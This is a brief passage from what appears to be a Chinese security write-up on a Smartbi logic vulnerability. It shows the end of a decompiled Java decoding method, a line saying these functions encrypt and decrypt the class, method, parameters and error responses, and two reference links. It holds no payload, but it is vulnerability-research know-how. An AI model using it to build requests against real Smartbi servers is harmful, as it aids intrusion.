"UTF-8" ); } catch (UnsupportedEncodingException var2) { throw new SmartbiException (CommonErrorCode.UNKOWN_ERROR, var2); } } }
通过以上的两个函数,就可以完成对于类,方法,参数的加密和解密过程,同时也可以对报错的结果进行加密和解密。
参考:
https://y4tacker.github.io/2023/07/05/year/2023/7/%E6%B5%85%E6%9E%90Smartbi%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E/
https://forum.butian.net/share/1339